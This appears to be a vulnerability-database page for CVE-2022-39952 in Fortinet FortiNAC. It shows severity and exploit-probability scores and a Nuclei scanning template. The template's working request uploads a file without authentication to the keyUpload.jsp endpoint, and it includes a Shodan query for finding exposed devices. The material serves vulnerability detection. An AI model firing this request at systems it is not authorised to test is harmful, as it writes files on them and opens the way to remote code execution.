9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.954 High
EPSS
Percentile
99.3%
Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.
id: CVE-2022-39952
info:
name: Fortinet FortiNAC - Arbitrary File Write
author: dwisiswant0
severity: critical
description: |
Fortinet FortiNAC is susceptible to arbitrary file write. An external control of the file name or path can allow an attacker to execute unauthorized code or commands via specifically crafted HTTP request, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. Affected versions are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.7, 8.8.0 through 8.8.11, 8.7.0 through 8.7.6, 8.6.0 through 8.6.5, 8.5.0 through 8.5.4, and 8.3.7.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data loss.
remediation: Upgrade to 9.4.1, 9.2.6, 9.2.6, 9.1.8, 7.2.0 or above.
reference:
- https://fortiguard.com/psirt/FG-IR-22-300
- https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
- https://github.com/horizon3ai/CVE-2022-39952
- https://nvd.nist.gov/vuln/detail/CVE-2022-39952
- https://github.com/1f3lse/taiE
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-39952
cwe-id: CWE-668,CWE-73
epss-score: 0.96445
epss-percentile: 0.99548
cpe: cpe:2.3:a:fortinet:fortinac:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fortinet
product: fortinac
shodan-query: title:"FortiNAC"
tags: cve,cve2022,fortinet,fortinac,fileupload,rce,intrusive
variables:
boundaryId: "{{hex_encode(rand_text_alphanumeric(16))}}"
http:
- method: POST
path:
- "{{BaseURL}}/configWizard/keyUpload.jsp"
body: |
--{{boundaryId}}
Content-Disposition: form-data; name="key"; filename="{{to_lower(rand_text_alphanumeric(8))}}.zip"
{{randstr}}
--{{boundaryId}}--
headers:
Content-Type: "multipart/form-data; boundary={{boundaryId}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "zipUploadSuccess"
- "SuccessfulUpload"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402203cea582616645262451f278883a52ba23466fd71d17efc23fbe8aa5ee2a16c6a0220761185b2c6e66b8eb362c33c1f84a4517c8a9c07670e4e28002fe0ee4767c1ad:922c64590222798bb761d5b6d8e72950
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.9 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.954 High
EPSS
Percentile
99.3%